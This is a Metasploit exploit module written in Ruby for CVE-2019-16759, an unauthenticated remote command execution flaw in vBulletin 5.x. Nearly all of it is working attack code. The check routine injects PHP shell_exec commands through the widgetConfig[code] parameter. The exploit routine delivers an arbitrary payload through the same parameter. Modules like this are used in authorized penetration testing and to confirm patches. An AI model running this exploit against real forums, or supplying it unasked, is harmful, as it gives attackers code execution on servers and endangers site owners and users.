vBulletin 5.x – Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'vBulletin 5.x 0day pre-quth RCE exploit', 'Description' => %q{ vBulletin 5.x 0day pre-auth RCE exploit. This should work on all versions from 5.0.0 till 5.5.4 }, 'Platform' => 'php', 'License' => MSF_LICENSE, 'Author' => [ 'Reported by: anonymous', # reported by 'Original exploit by: anonymous', # original exploit 'Metasploit mod by: r00tpgp', # metasploit module ], 'Payload' => { 'BadChars' => "\x22", }, 'References' => [ ['CVE', 'CVE-2019-16759'], ['EDB', 'NA'], ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16759'] ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Targeting', { 'auto' => true } ], # ['vBulletin 5.0.X', {'chain' => 'vB_Database'}], # ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}], ], 'DisclosureDate' => 'Sep 23 2019', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) ]) end def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'), 'encode_params' => false, 'vars_post' => { 'widgetConfig[code]' => "echo shell_exec(\'echo h4x0000r4l1f4 > /tmp/msf.check.out; cat /tmp/msf.check.out\');exit;", } }) if res && res.body && res.body.include?('h4x0000r4l1f4') return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status("Sending payload.....") resp = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'), 'encode_params' => false, 'vars_post' => { #'widgetConfig[code]' => "echo " + payload.encoded + "exit;", 'widgetConfig[code]' => payload.encoded, } }) #unless resp and resp.code == 200 # fail_with(Failure::Unknown, "Exploit failed.") #end #print_good("Success!") #print_line(resp.body) end end |